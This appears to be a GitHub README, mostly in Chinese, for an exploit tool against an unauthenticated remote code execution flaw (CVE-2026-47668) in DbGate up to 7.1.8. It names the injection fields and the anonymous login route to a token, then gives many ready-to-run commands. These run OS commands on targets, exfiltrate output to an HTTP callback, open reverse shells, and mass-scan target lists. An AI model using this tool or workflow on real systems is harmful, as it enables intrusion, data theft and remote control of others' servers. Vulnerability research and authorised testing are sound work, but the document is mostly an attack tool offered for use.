Nxploited/CVE-2026-47668

GitHub: Nxploited/CVE-2026-47668

针对 DbGate ≤7.1.8 未授权远程代码执行漏洞(CVE-2026-47668)的自动化验证与利用工具,支持单目标检测、批量扫描、数据外发及反向 Shell。

Stars: 6 | Forks: 0

# CVE-2026-47668 — DbGate 远程代码执行 **DbGate JSON Script Runner (`dbgate-serve` ≤ 7.1.8) 中的未授权 RCE。** 评估工具:**`CVE-2026-47668.py`** — 仅限授权测试。 | | | |---|---| | **CVE** | CVE-2026-47668 | | **严重性** | 严重 | | **产品** | DbGate / `dbgate-serve` | | **受影响版本** | ≤ **7.1.8** | | **修复版本** | ≥ **7.1.9** | | **CVSS 3.1** | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | **CWE** | CWE-20, CWE-94, CWE-1188 | ## 漏洞 **标题:** 通过 JSON Script Runner 实现的 DbGate 未授权远程代码执行 用户可控字段(`functionName`, `variableName`)在没有进行适当验证的情况下被嵌入到动态生成的 JavaScript 中。攻击者可以在 Node.js runner 子进程中执行任意代码。 | 项目 | 详情 | |------|--------| | **Endpoint** | `POST /runners/start` | | **认证** | 需要 Bearer token;在匿名/默认部署中,可以通过 `POST /auth/login` 获取 token | | **注入点** | JSON `assign` 命令中的 `functionName`, `variableName` | | **影响** | 以 DbGate 进程用户的身份执行 OS 命令 | **缓解措施:** 升级至 **7.1.9+** 版本。限制网络访问,禁用匿名认证,轮换凭证,检查日志中可疑的 `/runners/start` 活动。 ## 联系方式 **Telegram:** [@KNxploited](https://t.me/KNxploited) ## 工具概述 **`CVE-2026-47668.py`** 用于检查和验证针对您**已授权**测试的 DbGate 实例的漏洞利用。 **模式** | 模式 | 反向 shell | 描述 | |------|---------------|-------------| | **AUTO** | 否 | 一次提示;token + HTTP 回调 + 默认值 | | **CLI** | 可选 | 通过标志完全控制 | | **Mass** | 否 | 从 `targets.txt` 进行扫描 | | **`--reverse-shell`** | 是 | 可选 TCP 验证(仅限单目标) | **结果** | 结果 | 含义 | |--------|---------| | **FAIL** | 无法访问、认证失败或不易受攻击 | | **VULN** | Runner 仅接受了探测 | | **DISPATCH** | Payload 已发送;**无**确认输出 | | **EXFIL** | 收到回调 — **已确认命令输出** | | **REVSH** | 反向 TCP 已连接(仅限可选模式) | **输出目录:** `Nx/`(vuln, dispatch, exfil, failed, list_report,以及 `exfil/` 下的单目标文件) ## 安装 ``` pip install -r requirements.txt ``` **要求:** Python 3.9+, `aiohttp`, `colorama` ## 用法 ### AUTO 向导(默认 — 无反向 shell) ``` python CVE-2026-47668.py ``` | 提示符处输入 | 示例 | |-----------------|--------| | 单个 URL | `http://192.168.1.10:3000` | | URL + 命令 | `http://192.168.1.10:3000\|id` | | 目标列表 | `targets.txt` | ### CLI — 启用标志 每次 CLI 运行**必须**包含 **`--cli`**。 ``` python CVE-2026-47668.py --cli [options] ``` ### 单个目标 **`-u` / `--url`** — 目标基础 URL ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 ``` **`--cmd` / `--command`** — shell 命令(默认:`id`) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id" ``` ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a" ``` ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp" ``` **`--check-only`** — 仅探测漏洞(无命令) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only ``` **`--vector`** — 注入向量:`functionName` \| `variableName` \| `both` ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id ``` **`--port`** — URL 未指定端口时的默认端口(默认:**3000**) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id ``` **`--token`** — 使用现有的 Bearer token ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id ``` **`--login-json`** — 自定义登录请求体(默认:`{"amoid":"none"}`) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id ``` **`--timeout`** — HTTP 超时时间(秒) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id ``` **`--secure`** — 验证 TLS 证书 ``` python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id ``` ### 回调 / 数据外发(CLI 中带 `--cmd` 时的默认行为) **`--callback-host`** — **目标**用来访问您的监听器的 IP/主机名 ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id ``` **`--listen-host`** — HTTP 监听器的本地绑定(默认:`0.0.0.0`) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id ``` **`--listen-port`** — HTTP 数据外发端口(默认:**8888**) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id ``` **`-c` / `--callback`** — 外部回调 URL(禁用内置监听器) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id ``` **`--wait-exfil`** — 等待回调的秒数(单目标,默认:**8**) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id ``` **`--no-b64`** — 发送输出时不进行 base64 编码 ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id ``` **`--async-exec`** — 使用异步 `exec` 替代 `execSync` ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id ``` ### 批量扫描(无反向 shell) **`-f` / `--file`** — 目标列表文件 ``` python CVE-2026-47668.py --cli -f targets.txt --cmd id ``` **`-t` / `--threads`** — 并发工作线程(默认:**30**) ``` python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50 ``` **`--mass-wait-exfil`** — 批量扫描中每个目标的回调等待时间(默认:**8**) ``` python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12 ``` **批量 + 自定义默认端口** ``` python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id" ``` ### 反向 shell(可选 — 仅限单目标) 正常测试**不需要**。使用 **HTTP 数据外发** (`--cmd`) 作为 PoC。 **`--reverse-shell`** — 目标连接到 `LHOST:LPORT`(省略值 = LAN IP + 端口 **4444**) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell ``` ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 ``` **`--revsh-port`** — 当 `--reverse-shell` 未指定 `:port` 时使用的端口 ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444 ``` **`--revsh-bind`** — 本地监听地址 ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0 ``` **`--wait-revsh`** — 等待 TCP 连接的时间(默认:**15**) ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20 ``` **`--revsh-interactive`** — 连接后进行基本的 stdin/stdout 中继 ``` python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive ``` **Docker 注意事项:** 使用**可从 DbGate 容器访问**的 IP(例如主机网关),而不仅仅是你 PC 上的 `127.0.0.1`。 ## 目标列表 (`targets.txt`) ``` # comment 192.168.1.10 192.168.1.11:3000 http://10.0.0.8:3000 http://10.0.0.9|uname -a https://dbgate.local|id ``` - **无端口** → 自动应用 **3000** - **`host|command`** → 按行覆盖命令 - 报告:**`Nx/list_report.txt`** ## 输出文件 | 文件 | 内容 | |------|---------| | `Nx/vuln.txt` | 存在漏洞的目标(探测正常) | | `Nx/dispatch.txt` | 已发送 Payload,未确认 | | `Nx/exfil.txt` | 已确认的回调 | | `Nx/failed.txt` | 失败的目标 | | `Nx/exfil/.txt` | 每个目标的命令输出 | | `Nx/sessions//summary.json` | 会话摘要 | ## 工作流程 1. **`POST /auth/login`** → 获取 Bearer token(除非使用 `--token`,否则自动进行) 2. **探测** → runner 接受注入 3. **`POST /runners/start`** → 运行命令 + HTTP 回调(如果启用,则为反向 TCP) 4. 分类 → **EXFIL** = 确认的输出 ## 免责声明 仅供**授权的安全测试**使用。您必须获得明确许可才能测试任何系统。作者不对滥用或非法使用负责。 **作者:Nxploited**
标签:CISA项目, MITM代理, 无服务器架构, 编程工具, 远程代码执行, 逆向工具